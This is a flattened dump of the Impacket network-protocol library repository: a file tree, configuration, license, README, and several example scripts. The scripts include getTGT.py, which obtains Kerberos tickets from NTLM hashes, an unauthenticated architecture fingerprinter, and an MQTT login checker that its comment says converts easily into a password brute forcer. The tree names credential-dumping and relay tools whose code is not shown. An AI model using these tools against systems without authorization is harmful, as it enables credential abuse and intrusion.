├── .gitignore ├── .travis.yml ├── ChangeLog ├── LICENSE ├── MANIFEST.in ├── README.md ├── examples ├── GetADUsers.py ├── GetNPUsers.py ├── GetUserSPNs.py ├── atexec.py ├── dcomexec.py ├── dpapi.py ├── esentutl.py ├── getArch.py ├── getPac.py ├── getST.py ├── getTGT.py ├── goldenPac.py ├── ifmap.py ├── karmaSMB.py ├── lookupsid.py ├── mimikatz.py ├── mqtt_check.py ├── mssqlclient.py ├── mssqlinstance.py ├── netview.py ├── nmapAnswerMachine.py ├── ntfs-read.py ├── ntlmrelayx.py ├── opdump.py ├── ping.py ├── ping6.py ├── psexec.py ├── raiseChild.py ├── rdp_check.py ├── reg.py ├── registry-read.py ├── rpcdump.py ├── sambaPipe.py ├── samrdump.py ├── secretsdump.py ├── services.py ├── smbclient.py ├── smbexec.py ├── smbrelayx.py ├── smbserver.py ├── sniff.py ├── sniffer.py ├── split.py ├── ticketer.py ├── wmiexec.py ├── wmipersist.py └── wmiquery.py ├── impacket ├── Dot11Crypto.py ├── Dot11KeyManager.py ├── ICMP6.py ├── IP6.py ├── IP6_Address.py ├── IP6_Extension_Headers.py ├── ImpactDecoder.py ├── ImpactPacket.py ├── NDP.py ├── __init__.py ├── cdp.py ├── crypto.py ├── dcerpc │ ├── __init__.py │ └── v5 │ │ ├── __init__.py │ │ ├── atsvc.py │ │ ├── bkrp.py │ │ ├── dcom │ │ ├── __init__.py │ │ ├── comev.py │ │ ├── oaut.py │ │ ├── scmp.py │ │ ├── vds.py │ │ └── wmi.py │ │ ├── dcomrt.py │ │ ├── dhcpm.py │ │ ├── drsuapi.py │ │ ├── dtypes.py │ │ ├── enum.py │ │ ├── epm.py │ │ ├── even.py │ │ ├── even6.py │ │ ├── lsad.py │ │ ├── lsat.py │ │ ├── mgmt.py │ │ ├── mimilib.py │ │ ├── ndr.py │ │ ├── nrpc.py │ │ ├── rpcrt.py │ │ ├── rprn.py │ │ ├── rrp.py │ │ ├── samr.py │ │ ├── sasec.py │ │ ├── scmr.py │ │ ├── srvs.py │ │ ├── transport.py │ │ ├── tsch.py │ │ └── wkst.py ├── dhcp.py ├── dns.py ├── dot11.py ├── dpapi.py ├── eap.py ├── ese.py ├── examples │ ├── __init__.py │ ├── logger.py │ ├── ntlmrelayx │ │ ├── __init__.py │ │ ├── attacks │ │ │ ├── __init__.py │ │ │ ├── httpattack.py │ │ │ ├── imapattack.py │ │ │ ├── ldapattack.py │ │ │ ├── mssqlattack.py │ │ │ └── smbattack.py │ │ ├── clients │ │ │ ├── __init__.py │ │ │ ├── httprelayclient.py │ │ │ ├── imaprelayclient.py │ │ │ ├── ldaprelayclient.py │ │ │ ├── mssqlrelayclient.py │ │ │ ├── smbrelayclient.py │ │ │ └── smtprelayclient.py │ │ ├── servers │ │ │ ├── __init__.py │ │ │ ├── httprelayserver.py │ │ │ ├── smbrelayserver.py │ │ │ ├── socksplugins │ │ │ │ ├── __init__.py │ │ │ │ ├── http.py │ │ │ │ ├── https.py │ │ │ │ ├── imap.py │ │ │ │ ├── imaps.py │ │ │ │ ├── mssql.py │ │ │ │ ├── smb.py │ │ │ │ └── smtp.py │ │ │ └── socksserver.py │ │ └── utils │ │ │ ├── __init__.py │ │ │ ├── config.py │ │ │ ├── enum.py │ │ │ ├── ssl.py │ │ │ ├── targetsutils.py │ │ │ └── tcpshell.py │ ├── os_ident.py │ ├── remcomsvc.py │ ├── secretsdump.py │ ├── serviceinstall.py │ └── smbclient.py ├── helper.py ├── hresult_errors.py ├── krb5 │ ├── __init__.py │ ├── asn1.py │ ├── ccache.py │ ├── constants.py │ ├── crypto.py │ ├── gssapi.py │ ├── kerberosv5.py │ ├── pac.py │ └── types.py ├── ldap │ ├── __init__.py │ ├── ldap.py │ ├── ldapasn1.py │ └── ldaptypes.py ├── mqtt.py ├── nmb.py ├── nt_errors.py ├── ntlm.py ├── pcap_linktypes.py ├── pcapfile.py ├── smb.py ├── smb3.py ├── smb3structs.py ├── smbconnection.py ├── smbserver.py ├── spnego.py ├── structure.py ├── system_errors.py ├── tds.py ├── uuid.py ├── version.py ├── winregistry.py └── wps.py ├── requirements.txt ├── setup.py ├── tests ├── ImpactPacket │ ├── __init__.py │ ├── runalltestcases.bat │ ├── runalltestcases.sh │ ├── test_ICMP6.py │ ├── test_IP6.py │ ├── test_IP6_Address.py │ ├── test_IP6_Extension_Headers.py │ ├── test_TCP.py │ ├── test_TCP_bug_issue7.py │ └── test_ethernet.py ├── SMB_RPC │ ├── __init__.py │ ├── dcetests.cfg │ ├── rundce.sh │ ├── test_bkrp.py │ ├── test_dcomrt.py │ ├── test_dhcpm.py │ ├── test_drsuapi.py │ ├── test_epm.py │ ├── test_even.py │ ├── test_even6.py │ ├── test_fasp.py │ ├── test_ldap.py │ ├── test_lsad.py │ ├── test_lsat.py │ ├── test_mgmt.py │ ├── test_mimilib.py │ ├── test_ndr.py │ ├── test_nmb.py │ ├── test_nrpc.py │ ├── test_ntlm.py │ ├── test_rpcrt.py │ ├── test_rprn.py │ ├── test_rrp.py │ ├── test_samr.py │ ├── test_scmr.py │ ├── test_secretsdump.py │ ├── test_smb.py │ ├── test_spnego.py │ ├── test_srvs.py │ ├── test_tsch.py │ ├── test_wkst.py │ └── test_wmi.py ├── coveragerc ├── dot11 │ ├── runalltestcases.bat │ ├── runalltestcases.sh │ ├── test_Dot11Base.py │ ├── test_Dot11Decoder.py │ ├── test_Dot11HierarchicalUpdate.py │ ├── test_FrameControlACK.py │ ├── test_FrameControlCFEnd.py │ ├── test_FrameControlCFEndCFACK.py │ ├── test_FrameControlCTS.py │ ├── test_FrameControlPSPoll.py │ ├── test_FrameControlRTS.py │ ├── test_FrameData.py │ ├── test_FrameManagement.py │ ├── test_FrameManagementAssociationRequest.py │ ├── test_FrameManagementAssociationResponse.py │ ├── test_FrameManagementAuthentication.py │ ├── test_FrameManagementDeauthentication.py │ ├── test_FrameManagementDisassociation.py │ ├── test_FrameManagementProbeRequest.py │ ├── test_FrameManagementProbeResponse.py │ ├── test_FrameManagementReassociationRequest.py │ ├── test_FrameManagementReassociationResponse.py │ ├── test_RadioTap.py │ ├── test_RadioTapDecoder.py │ ├── test_WEPDecoder.py │ ├── test_WEPEncoder.py │ ├── test_WPA.py │ ├── test_WPA2.py │ ├── test_helper.py │ └── test_wps.py ├── misc │ └── test_dpapi.py ├── runall.sh └── walkmodules.py └── tox.ini /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | *.egg-info/ 23 | .installed.cfg 24 | *.egg 25 | 26 | # PyInstaller 27 | # Usually these files are written by a python script from a template 28 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 29 | *.manifest 30 | *.spec 31 | 32 | # Installer logs 33 | pip-log.txt 34 | pip-delete-this-directory.txt 35 | 36 | # Unit test / coverage reports 37 | htmlcov/ 38 | .tox/ 39 | .coverage 40 | .coverage.* 41 | .cache 42 | nosetests.xml 43 | coverage.xml 44 | *,cover 45 | 46 | # bak files 47 | *.bak 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | 56 | # Sphinx documentation 57 | docs/_build/ 58 | 59 | # PyBuilder 60 | target/ 61 | 62 | # macOS 63 | .DS_Store 64 | 65 | # PyCharm 66 | .idea 67 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | group: travis_latest 2 | language: python 3 | cache: pip 4 | 5 | matrix: 6 | include: 7 | - python: 2.7 8 | env: NO_REMOTE=true, TOXENV=py27 9 | - python: 3.6 10 | env: NO_REMOTE=true, TOXENV=py36 11 | allow_failures: 12 | - python: 3.6 13 | 14 | install: pip install flake8==3.6.0 tox -r requirements.txt 15 | 16 | before_script: 17 | # stop the build if there are Python syntax errors or undefined names 18 | - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics 19 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide 20 | - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics 21 | 22 | script: tox 23 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Licencing 2 | --------- 3 | 4 | We provide this software under a slightly modified version of the 5 | Apache Software License. The only changes to the document were the 6 | replacement of "Apache" with "Impacket" and "Apache Software Foundation" 7 | with "SecureAuth Corporation". Feel free to compare the resulting 8 | document to the official Apache license. 9 | 10 | The `Apache Software License' is an Open Source Initiative Approved 11 | License. 12 | 13 | 14 | The Apache Software License, Version 1.1 15 | Modifications by SecureAuth Corporation (see above) 16 | 17 | Copyright (c) 2000 The Apache Software Foundation. All rights 18 | reserved. 19 | 20 | Redistribution and use in source and binary forms, with or without 21 | modification, are permitted provided that the following conditions 22 | are met: 23 | 24 | 1. Redistributions of source code must retain the above copyright 25 | notice, this list of conditions and the following disclaimer. 26 | 27 | 2. Redistributions in binary form must reproduce the above copyright 28 | notice, this list of conditions and the following disclaimer in 29 | the documentation and/or other materials provided with the 30 | distribution. 31 | 32 | 3. The end-user documentation included with the redistribution, 33 | if any, must include the following acknowledgment: 34 | "This product includes software developed by 35 | SecureAuth Corporation (https://www.secureauth.com/)." 36 | Alternately, this acknowledgment may appear in the software itself, 37 | if and wherever such third-party acknowledgments normally appear. 38 | 39 | 4. The names "Impacket", "SecureAuth Corporation" must 40 | not be used to endorse or promote products derived from this 41 | software without prior written permission. For written 42 | permission, please contact oss@secureauth.com. 43 | 44 | 5. Products derived from this software may not be called "Impacket", 45 | nor may "Impacket" appear in their name, without prior written 46 | permission of SecureAuth Corporation. 47 | 48 | THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED 49 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 50 | OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 51 | DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR 52 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 53 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 54 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF 55 | USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 56 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 57 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT 58 | OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 59 | SUCH DAMAGE. 60 | 61 | 62 | 63 | Smb.py and nmb.py are based on Pysmb by Michael Teo 64 | (https://miketeo.net/projects/pysmb/), and are distributed under the 65 | following license: 66 | 67 | This software is provided 'as-is', without any express or implied 68 | warranty. In no event will the author be held liable for any damages 69 | arising from the use of this software. 70 | 71 | Permission is granted to anyone to use this software for any purpose, 72 | including commercial applications, and to alter it and redistribute it 73 | freely, subject to the following restrictions: 74 | 75 | 1. The origin of this software must not be misrepresented; you must 76 | not claim that you wrote the original software. If you use this 77 | software in a product, an acknowledgment in the product 78 | documentation would be appreciated but is not required. 79 | 80 | 2. Altered source versions must be plainly marked as such, and must 81 | not be misrepresented as being the original software. 82 | 83 | 3. This notice cannot be removed or altered from any source 84 | distribution. 85 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include MANIFEST.in 2 | include LICENSE 3 | include ChangeLog 4 | include requirements.txt 5 | include requirements_examples.txt 6 | include tox.ini 7 | recursive-include examples tests *.txt *.py 8 | recursive-include tests * 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | What is Impacket? 2 | ================= 3 | 4 | Impacket is a collection of Python classes for working with network 5 | protocols. Impacket is focused on providing low-level 6 | programmatic access to the packets and for some protocols (e.g. 7 | SMB1-3 and MSRPC) the protocol implementation itself. 8 | Packets can be constructed from scratch, as well as parsed from 9 | raw data, and the object oriented API makes it simple to work with 10 | deep hierarchies of protocols. The library provides a set of tools 11 | as examples of what can be done within the context of this library. 12 | 13 | A description of some of the tools can be found at: 14 | https://www.secureauth.com/labs/open-source-tools/impacket 15 | 16 | What protocols are featured? 17 | ---------------------------- 18 | 19 | * Ethernet, Linux "Cooked" capture. 20 | * IP, TCP, UDP, ICMP, IGMP, ARP. 21 | * IPv4 and IPv6 Support. 22 | * NMB and SMB1, SMB2 and SMB3 (high-level implementations). 23 | * MSRPC version 5, over different transports: TCP, SMB/TCP, SMB/NetBIOS and HTTP. 24 | * Plain, NTLM and Kerberos authentications, using password/hashes/tickets/keys. 25 | * Portions/full implementation of the following MSRPC interfaces: EPM, DTYPES, LSAD, LSAT, NRPC, RRP, SAMR, SRVS, WKST, SCMR, BKRP, DHCPM, EVEN6, MGMT, SASEC, TSCH, DCOM, WMI. 26 | * Portions of TDS (MSSQL) and LDAP protocol implementations. 27 | 28 | 29 | Getting Impacket 30 | ================ 31 | 32 | * [Current and past releases](https://github.com/SecureAuthCorp/impacket/releases) 33 | * [Trunk](https://github.com/SecureAuthCorp/impacket) 34 | 35 | Setup 36 | ===== 37 | 38 | Quick start 39 | ----------- 40 | 41 | Grab the latest stable release, unpack it and run `pip install .` from the directory where you placed it. Isn't that easy? 42 | 43 | 44 | Requirements 45 | ============ 46 | 47 | * A Python interpreter. Versions 2.6 and newer are known to work. 48 | 1. If you want to run the examples and you have Python < 2.7, you 49 | will need to install the `argparse` package for them to work. 50 | 2. For Kerberos support you will need `pyasn1` package 51 | 3. For cryptographic operations you will need `pycryptodomex` package 52 | 4. For some examples you will need `pyOpenSSL` (rdp_check.py) and ldap3 (ntlmrelayx.py) 53 | 5. For ntlmrelayx.py you will also need `ldapdomaindump`, `flask` and `ldap3` 54 | 6. If you're under Windows, you will need `pyReadline` 55 | * A recent release of Impacket. 56 | 57 | Installing 58 | ---------- 59 | 60 | In order to install the source execute the following command from the 61 | directory where the Impacket's distribution has been unpacked: `pip install .` 62 | This will install the classes into the default 63 | Python modules path; note that you might need special permissions to 64 | write there. For more information on what commands and options are 65 | available from setup.py, run `python setup.py --help-commands`. 66 | 67 | Testing 68 | ------- 69 | 70 | If you want to run the library test cases you need to do mainly three things: 71 | 72 | 1. Install and configure a Windows 2012 R2 Domain Controller. 73 | * Be sure the RemoteRegistry service is enabled and running. 74 | 2. Configure the [dcetest.cfg](https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_17/tests/SMB_RPC/dcetests.cfg) file with the necessary information 75 | 3. Install tox (`pip install tox`) 76 | 77 | Once that's done, you can run `tox` and wait for the results. If all goes well, all test cases should pass. 78 | You will also have a coverage HTML report located at `impacket/tests/htlmcov/index.html` 79 | 80 | Licensing 81 | ========= 82 | 83 | This software is provided under under a slightly modified version of 84 | the Apache Software License. See the accompanying LICENSE file for 85 | more information. 86 | 87 | SMBv1 and NetBIOS support based on Pysmb by Michael Teo. 88 | 89 | 90 | Contact Us 91 | ========== 92 | 93 | Whether you want to report a bug, send a patch or give some 94 | suggestions on this package, drop us a few lines at 95 | oss@secureauth.com. 96 | -------------------------------------------------------------------------------- /examples/esentutl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Description: 9 | # ESE utility. Allows dumping catalog, pages and tables. 10 | # 11 | # Author: 12 | # Alberto Solino (@agsolino) 13 | # 14 | # 15 | # Reference for: 16 | # Extensive Storage Engine (ese) 17 | # 18 | 19 | import sys 20 | import logging 21 | import argparse 22 | 23 | from impacket.examples import logger 24 | from impacket import version 25 | from impacket.ese import ESENT_DB 26 | 27 | 28 | def dumpPage(ese, pageNum): 29 | data = ese.getPage(pageNum) 30 | data.dump() 31 | 32 | def exportTable(ese, tableName): 33 | cursor = ese.openTable(tableName) 34 | if cursor is None: 35 | logging.error('Can"t get a cursor for table: %s' % tableName) 36 | return 37 | 38 | i = 1 39 | print "Table: %s" % tableName 40 | while True: 41 | try: 42 | record = ese.getNextRow(cursor) 43 | except Exception as e: 44 | logging.debug('Exception:', exc_info=True) 45 | logging.error('Error while calling getNextRow(), trying the next one') 46 | continue 47 | 48 | if record is None: 49 | break 50 | print "*** %d" % i 51 | for j in record.keys(): 52 | if record[j] is not None: 53 | print "%-30s: %r" % (j, record[j]) 54 | i += 1 55 | 56 | def main(): 57 | print version.BANNER 58 | # Init the example's logger theme 59 | logger.init() 60 | 61 | parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping " 62 | "catalog, pages and tables.") 63 | parser.add_argument('databaseFile', action='store', help='ESE to open') 64 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 65 | parser.add_argument('-page', action='store', help='page to open') 66 | 67 | subparsers = parser.add_subparsers(help='actions', dest='action') 68 | 69 | # dump page 70 | dump_parser = subparsers.add_parser('dump', help='dumps an specific page') 71 | dump_parser.add_argument('-page', action='store', required=True, help='page to dump') 72 | 73 | # info page 74 | subparsers.add_parser('info', help='dumps the catalog info for the DB') 75 | 76 | # export page 77 | export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB') 78 | export_parser.add_argument('-table', action='store', required=True, help='table to dump') 79 | 80 | if len(sys.argv)==1: 81 | parser.print_help() 82 | sys.exit(1) 83 | 84 | options = parser.parse_args() 85 | 86 | if options.debug is True: 87 | logging.getLogger().setLevel(logging.DEBUG) 88 | else: 89 | logging.getLogger().setLevel(logging.INFO) 90 | 91 | ese = ESENT_DB(options.databaseFile) 92 | 93 | try: 94 | if options.action.upper() == 'INFO': 95 | ese.printCatalog() 96 | elif options.action.upper() == 'DUMP': 97 | dumpPage(ese, int(options.page)) 98 | elif options.action.upper() == 'EXPORT': 99 | exportTable(ese, options.table) 100 | else: 101 | raise Exception('Unknown action %s ' % options.action) 102 | except Exception, e: 103 | if logging.getLogger().level == logging.DEBUG: 104 | import traceback 105 | traceback.print_exc() 106 | print e 107 | ese.close() 108 | 109 | 110 | if __name__ == '__main__': 111 | main() 112 | sys.exit(1) 113 | 114 | 115 | 116 | -------------------------------------------------------------------------------- /examples/getArch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # 9 | # Author: 10 | # beto (@agsolino) 11 | # 12 | # Description: 13 | # This script will connect against a target (or list of targets) machine/s and gather the OS architecture type 14 | # installed. 15 | # The trick has been discovered many years ago and is actually documented by Microsoft here: 16 | # https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53 17 | # and doesn't require any authentication at all. 18 | # 19 | # Have in mind this trick will *not* work if the target system is running Samba. Don't know what happens with macOS. 20 | # 21 | # Reference for: 22 | # RPCRT, NDR 23 | # 24 | 25 | import argparse 26 | import logging 27 | import sys 28 | 29 | from impacket import version 30 | from impacket.examples import logger 31 | from impacket.dcerpc.v5.rpcrt import DCERPCException 32 | from impacket.dcerpc.v5.transport import DCERPCTransportFactory 33 | from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP 34 | 35 | 36 | class TARGETARCH: 37 | def __init__(self, options): 38 | self.__machinesList = list() 39 | self.__options = options 40 | self.NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 41 | 42 | def run(self): 43 | if self.__options.targets is not None: 44 | for line in self.__options.targets.readlines(): 45 | self.__machinesList.append(line.strip(' \r\n')) 46 | else: 47 | self.__machinesList.append(self.__options.target) 48 | 49 | logging.info('Gathering OS architecture for %d machines' % len(self.__machinesList)) 50 | logging.info('Socket connect timeout set to %s secs' % self.__options.timeout) 51 | 52 | for machine in self.__machinesList: 53 | try: 54 | stringBinding = r'ncacn_ip_tcp:%s[135]' % machine 55 | transport = DCERPCTransportFactory(stringBinding) 56 | transport.set_connect_timeout(int(self.__options.timeout)) 57 | dce = transport.get_dce_rpc() 58 | dce.connect() 59 | try: 60 | dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=self.NDR64Syntax) 61 | except DCERPCException, e: 62 | if str(e).find('syntaxes_not_supported') >= 0: 63 | print '%s is 32-bit' % machine 64 | else: 65 | logging.error(str(e)) 66 | pass 67 | else: 68 | print '%s is 64-bit' % machine 69 | 70 | dce.disconnect() 71 | except Exception, e: 72 | #import traceback 73 | #traceback.print_exc() 74 | logging.error('%s: %s' % (machine, str(e))) 75 | 76 | # Process command-line arguments. 77 | if __name__ == '__main__': 78 | # Init the example's logger theme 79 | logger.init() 80 | print version.BANNER 81 | 82 | parser = argparse.ArgumentParser(add_help = True, description = "Gets the target system's OS architecture version") 83 | parser.add_argument('-target', action='store', help='') 84 | parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query Arch ' 85 | 'from (one per line). ') 86 | parser.add_argument('-timeout', action='store', default='2', help='socket timeout out when connecting to the target (default 2 sec)') 87 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 88 | 89 | if len(sys.argv)==1: 90 | parser.print_help() 91 | sys.exit(1) 92 | 93 | options = parser.parse_args() 94 | 95 | if options.target is None and options.targets is None: 96 | logging.error('You have to specify a target!') 97 | sys.exit(1) 98 | 99 | if options.debug is True: 100 | logging.getLogger().setLevel(logging.DEBUG) 101 | else: 102 | logging.getLogger().setLevel(logging.INFO) 103 | 104 | try: 105 | getArch = TARGETARCH(options) 106 | getArch.run() 107 | except (Exception, KeyboardInterrupt), e: 108 | if logging.getLogger().level == logging.DEBUG: 109 | import traceback 110 | traceback.print_exc() 111 | logging.error(str(e)) 112 | sys.exit(0) 113 | -------------------------------------------------------------------------------- /examples/getTGT.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Author: 9 | # Alberto Solino (@agsolino) 10 | # 11 | # Description: 12 | # Given a password, hash or aesKey, it will request a TGT and save it as ccache 13 | # 14 | # Examples: 15 | # ./getTGT.py -hashes lm:nt contoso.com/user 16 | # 17 | # 18 | import argparse 19 | import logging 20 | import sys 21 | from binascii import hexlify, unhexlify 22 | 23 | from impacket import version 24 | from impacket.examples import logger 25 | from impacket.krb5.kerberosv5 import getKerberosTGT 26 | from impacket.krb5 import constants 27 | from impacket.krb5.types import Principal 28 | 29 | 30 | class GETTGT: 31 | def __init__(self, target, password, domain, options): 32 | self.__password = password 33 | self.__user= target 34 | self.__domain = domain 35 | self.__lmhash = '' 36 | self.__nthash = '' 37 | self.__aesKey = options.aesKey 38 | self.__options = options 39 | self.__kdcHost = options.dc_ip 40 | if options.hashes is not None: 41 | self.__lmhash, self.__nthash = options.hashes.split(':') 42 | 43 | def saveTicket(self, ticket, sessionKey): 44 | logging.info('Saving ticket in %s' % (self.__user + '.ccache')) 45 | from impacket.krb5.ccache import CCache 46 | ccache = CCache() 47 | 48 | ccache.fromTGT(ticket, sessionKey, sessionKey) 49 | ccache.saveFile(self.__user + '.ccache') 50 | 51 | def run(self): 52 | userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 53 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, 54 | unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, 55 | self.__kdcHost) 56 | self.saveTicket(tgt,oldSessionKey) 57 | 58 | if __name__ == '__main__': 59 | # Init the example's logger theme 60 | logger.init() 61 | print version.BANNER 62 | 63 | parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " 64 | "TGT and save it as ccache") 65 | parser.add_argument('identity', action='store', help='[domain/]username[:password]') 66 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 67 | 68 | group = parser.add_argument_group('authentication') 69 | 70 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 71 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 72 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 73 | '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 74 | 'ones specified in the command line') 75 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 76 | '(128 or 256 bits)') 77 | group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 78 | 'ommited it use the domain part (FQDN) specified in the target parameter') 79 | 80 | if len(sys.argv)==1: 81 | parser.print_help() 82 | print "\nExamples: " 83 | print "\t./getTGT.py -hashes lm:nt contoso.com/user\n" 84 | print "\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked" 85 | sys.exit(1) 86 | 87 | options = parser.parse_args() 88 | 89 | if options.debug is True: 90 | logging.getLogger().setLevel(logging.DEBUG) 91 | else: 92 | logging.getLogger().setLevel(logging.INFO) 93 | 94 | 95 | import re 96 | domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::([^@]*))?)?').match(options.identity).groups( 97 | '') 98 | 99 | try: 100 | if domain is None: 101 | logging.critical('Domain should be specified!') 102 | sys.exit(1) 103 | 104 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 105 | from getpass import getpass 106 | password = getpass("Password:") 107 | 108 | if options.aesKey is not None: 109 | options.k = True 110 | 111 | executer = GETTGT(username, password, domain, options) 112 | executer.run() 113 | except Exception, e: 114 | if logging.getLogger().level == logging.DEBUG: 115 | import traceback 116 | traceback.print_exc() 117 | print str(e) 118 | -------------------------------------------------------------------------------- /examples/mqtt_check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Author: Alberto Solino (@agsolino) 9 | # 10 | # Description: 11 | # Simple MQTT example aimed at playing with different login options. Can be converted into a account/password 12 | # brute forcer quite easily. 13 | # 14 | # Reference for: 15 | # MQTT and Structure 16 | # 17 | # 18 | 19 | import argparse 20 | import logging 21 | import re 22 | import sys 23 | 24 | from impacket import version 25 | from impacket.examples import logger 26 | from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection 27 | 28 | try: 29 | import OpenSSL 30 | from OpenSSL import SSL, crypto 31 | except: 32 | logging.critical("pyOpenSSL is not installed, can't continue") 33 | raise 34 | 35 | 36 | class MQTT_LOGIN: 37 | def __init__(self, username, password, target, options): 38 | self._options = options 39 | self._username = username 40 | self._password = password 41 | self._target = target 42 | 43 | if self._username == '': 44 | self._username = None 45 | 46 | def run(self): 47 | mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl) 48 | 49 | if self._options.client_id is None: 50 | clientId = ' ' 51 | else: 52 | clientId = self._options.client_id 53 | 54 | mqtt.connect(clientId, self._username, self._password) 55 | 56 | logging.info(CONNECT_ACK_ERROR_MSGS[0]) 57 | 58 | if __name__ == '__main__': 59 | # Init the example's logger theme 60 | logger.init() 61 | print version.BANNER 62 | parser = argparse.ArgumentParser(add_help=False, 63 | description="MQTT login check") 64 | parser.add_argument("--help", action="help", help='show this help message and exit') 65 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 66 | parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)') 67 | parser.add_argument('-ssl', action='store_true', help='turn SSL on') 68 | parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)') 69 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 70 | 71 | try: 72 | options = parser.parse_args() 73 | except Exception, e: 74 | logging.error(str(e)) 75 | sys.exit(1) 76 | 77 | if options.debug is True: 78 | logging.getLogger().setLevel(logging.DEBUG) 79 | else: 80 | logging.getLogger().setLevel(logging.INFO) 81 | 82 | domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 83 | options.target).groups('') 84 | 85 | #In case the password contains '@' 86 | if '@' in address: 87 | password = password + '@' + address.rpartition('@')[0] 88 | address = address.rpartition('@')[2] 89 | 90 | check_mqtt = MQTT_LOGIN(username, password, address, options) 91 | try: 92 | check_mqtt.run() 93 | except Exception, e: 94 | if logging.getLogger().level == logging.DEBUG: 95 | import traceback 96 | traceback.print_exc() 97 | logging.error(e) 98 | 99 | 100 | -------------------------------------------------------------------------------- /examples/mssqlinstance.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Description: [MC-SQLR] example. Retrieves the instances names from the target host 9 | # 10 | # Author: 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Reference for: 14 | # Structure 15 | # 16 